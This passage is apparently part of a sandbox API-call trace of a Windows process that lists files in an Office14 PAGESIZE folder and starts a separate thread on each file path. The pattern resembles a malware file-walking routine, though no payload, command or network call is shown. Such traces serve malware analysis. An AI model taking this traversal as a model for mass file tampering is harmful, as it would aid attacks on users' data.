ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x1bc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN010.XML", cAlternateFileName="")) returned 1 [0167.980] wcscmp (_String1="PGMN010.XML", _String2=".") returned 1 [0167.980] wcscmp (_String1="PGMN010.XML", _String2="..") returned 1 [0167.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c51050 [0167.980] wcscpy (in: _Dest=0x12c51050, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.980] wcscat (in: _Dest=0x12c51050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.980] wcscat (in: _Dest=0x12c51050, _Source="PGMN010.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" [0167.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304 [0167.981] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94fa5500, ftCreationTime.dwHighDateTime=0x1ca1b39, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94fa5500, ftLastWriteTime.dwHighDateTime=0x1ca1b39, nFileSizeHigh=0x0, nFileSizeLow=0xe2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN011.XML", cAlternateFileName="")) returned 1 [0167.981] wcscmp (_String1="PGMN011.XML", _String2=".") returned 1 [0167.981] wcscmp (_String1="PGMN011.XML", _String2="..") returned 1 [0167.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8230 [0167.981] wcscpy (in: _Dest=0x8f8230, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.981] wcscat (in: _Dest=0x8f8230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.981] wcscat (in: _Dest=0x8f8230, _Source="PGMN011.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" [0167.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300 [0167.982] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc63d500, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc63d500, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x2936, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN020.XML", cAlternateFileName="")) returned 1 [0167.982] wcscmp (_String1="PGMN020.XML", _String2=".") returned 1 [0167.982] wcscmp (_String1="PGMN020.XML", _String2="..") returned 1 [0167.982] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7070 [0167.982] wcscpy (in: _Dest=0xd4b7070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.983] wcscat (in: _Dest=0xd4b7070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.983] wcscat (in: _Dest=0xd4b7070, _Source="PGMN020.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" [0167.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc [0167.984] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17af0200, ftCreationTime.dwHighDateTime=0x1ca06ab, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17af0200, ftLastWriteTime.dwHighDateTime=0x1ca06ab, nFileSizeHigh=0x0, nFileSizeLow=0x167d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN022.XML", cAlternateFileName="")) returned 1 [0167.984] wcscmp (_String1="PGMN022.XML", _String2=".") returned 1 [0167.984] wcscmp (_String1="PGMN022.XML", _String2="..") returned 1 [0167.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b70f8 [0167.984] wcscpy (in: _Dest=0xd4b70f8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.984] wcscat (in: _Dest=0xd4b70f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.984] wcscat (in: _Dest=0xd4b70f8, _Source="PGMN022.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" [0167.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b70f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0167.985] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x21be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN026.XML", cAlternateFileName="")) returned 1 [0167.985] wcscmp (_String1="PGMN026.XML", _String2=".") returned 1 [0167.985] wcscmp (_String1="PGMN026.XML", _String2="..") returned 1 [0167.985] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7180 [0167.985] wcscpy (in: _Dest=0xd4b7180, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.986] wcscat (in: _Dest=0xd4b7180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.986] wcscat (in: _Dest=0xd4b7180, _Source="PGMN026.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" [0167.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410 [0167.987] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN027.XML", cAlternateFileName="")) returned 1 [0167.987] wcscmp (_String1="PGMN027.XML", _String2=".") returned 1 [0167.987] wcscmp (_String1="PGMN027.XML", _String2="..") returned 1 [0167.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7208 [0167.987] wcscpy (in: _Dest=0xd4b7208, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.987] wcscat (in: _Dest=0xd4b7208, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.987] wcscat (in: _Dest=0xd4b7208, _Source="PGMN027.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" [0167.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0167.988] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60487100, ftCreationTime.dwHighDateTime=0x1c9e332, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60487100, ftLastWriteTime.dwHighDateTime=0x1c9e332, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN044.XML", cAlternateFileName="")) returned 1 [0167.988] wcscmp (_String1="PGMN044.XML", _String2=".") returned 1 [0167.988] wcscmp (_String1="PGMN044.XML", _String2="..") returned 1 [0167.988] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7290 [0167.988] wcscpy (in: _Dest=0xd4b7290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.988] wcscat (in: _Dest=0xd4b7290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.988] wcscat (in: _Dest=0xd4b7290, _Source="PGMN044.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" [0167.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4 [0167.990] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4233cc00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4233cc00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x9c4ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN048.XML", cAlternateFileName="")) returned 1 [0167.990] wcscmp (_String1="PGMN048.XML", _String2=".") returned 1 [0167.990] wcscmp (_String1="PGMN048.XML", _String2="..") returned 1 [0167.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7318 [0167.990] wcscpy (in: _Dest=0xd4b7318, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.990] wcscat (in: _Dest=0xd4b7318, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.990] wcscat (in: _Dest=0xd4b7318, _Source="PGMN048.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" [0167.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0167.991] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x662faf00, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x662faf00, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x8250, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN054.XML", cAlternateFileName="")) returned 1 [0167.991] wcscmp (_String1="PGMN054.XML", _String2=".") returned 1 [0167.991] wcscmp (_String1="PGMN054.XML", _String2="..") returned 1 [0167.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b73a0 [0167.991] wcscpy (in: _Dest=0xd4b73a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.991] wcscat (in: _Dest=0xd4b73a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.991] wcscat (in: _Dest=0xd4b73a0, _Source="PGMN054.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" [0167.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b73a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0167.994] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409da800, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x409da800, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x8e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN058.XML", cAlternateFileName="")) returned 1 [0167.994] wcscmp (_String1="PGMN058.XML", _String2=".") returned 1 [0167.994] wcscmp (_String1="PGMN058.XML", _String2="..") returned 1 [0167.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7428 [0167.994] wcscpy (in: _Dest=0xd4b7428, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.994] wcscat (in: _Dest=0xd4b7428, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.994] wcscat (in: _Dest=0xd4b7428, _Source="PGMN058.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" [0167.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8 [0167.995] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c896a00, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c896a00, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1326, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN065.XML", cAlternateFileName="")) returned 1 [0167.995] wcscmp (_String1="PGMN065.XML", _String2=".") returned 1 [0167.995] wcscmp (_String1="PGMN065.XML", _String2="..") returned 1 [0167.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b74b0 [0167.995] wcscpy (in: _Dest=0xd4b74b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.995] wcscat (in: _Dest=0xd4b74b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.995] wcscat (in: _Dest=0xd4b74b0, _Source="PGMN065.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" [0167.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b74b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454 [0167.997] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a49300, ftCreationTime.dwHighDateTime=0x1c6946d, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7a49300, ftLastWriteTime.dwHighDateTime=0x1c6946d, nFileSizeHigh=0x0, nFileSizeLow=0x9ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN075.XML", cAlternateFileName="")) returned 1 [0167.997] wcscmp (_String1="PGMN075.XML", _String2=".") returned 1 [0167.997] wcscmp (_String1="PGMN075.XML", _String2="..") returned 1 [0167.997] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7538 [0167.997] wcscpy (in: _Dest=0xd4b7538, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.997] wcscat (in: _Dest=0xd4b7538, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.997] wcscat (in: _Dest=0xd4b7538, _Source="PGMN075.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" [0167.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x145c [0167.998] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a4d100, ftCreationTime.dwHighDateTime=0x1ca0452, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a4d100, ftLastWriteTime.dwHighDateTime=0x1ca0452, nFileSizeHigh=0x0, nFileSizeLow=0x101198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN081.XML", cAlternateFileName="")) returned 1 [0167.998] wcscmp (_String1="PGMN081.XML", _String2=".") returned 1 [0167.998] wcscmp (_String1="PGMN081.XML", _String2="..") returned 1 [0167.998] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b75c0 [0167.998] wcscpy (in: _Dest=0xd4b75c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0167.998] wcscat (in: _Dest=0xd4b75c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0167.998] wcscat (in: _Dest=0xd4b75c0, _Source="PGMN081.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" [0167.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b75c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1460 [0167.999] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66024c00, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66024c00, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x31a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN082.XML", cAlternateFileName="")) returned 1 [0167.999] wcscmp (_String1="PGMN082.XML", _String2=".") returned 1 [0167.999] wcscmp (_String1="PGMN082.XML", _String2="..") returned 1 [0168.000] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7648 [0168.000] wcscpy (in: _Dest=0xd4b7648, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0168.000] wcscat (in: _Dest=0xd4b7648, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0168.000] wcscat (in: _Dest=0xd4b7648, _Source="PGMN082.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" [0168.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0168.001] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2620df00, ftCreationTime.dwHighDateTime=0x1c6a62f, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2620df00, ftLastWriteTime.dwHighDateTime=0x1c6a62f, nFileSizeHigh=0x0, nFileSizeLow=0x2d34, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN086.XML", cAlternateFileName="")) returned 1 [0168.001] wcscmp (_String1="PGMN086.XML", _String2=".") returned 1 [0168.001] wcscmp (_String1="PGMN086.XML", _String2="..") returned 1 [0168.001] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b76d0 [0168.001] wcscpy (in: _Dest=0xd4b76d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0168.001] wcscat (in: _Dest=0xd4b76d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0168.001] wcscat (in: _Dest=0xd4b76d0, _Source="PGMN086.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" [0168.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b76d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0168.002] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0x11a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN089.XML", cAlternateFileName="")) returned 1 [0168.002] wcscmp (_String1="PGMN089.XML", _String2=".") returned 1 [0168.002] wcscmp (_String1="PGMN089.XML", _String2="..") returned 1 [0168.002] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7758 [0168.003] wcscpy (in: _Dest=0xd4b7758, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0168.003] wcscat (in: _Dest=0xd4b7758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0168.003] wcscat (in: _Dest=0xd4b7758, _Source="PGMN089.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" [0168.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7758, dwCreationFlags=0x0, lpThreadId=0x0 | out: 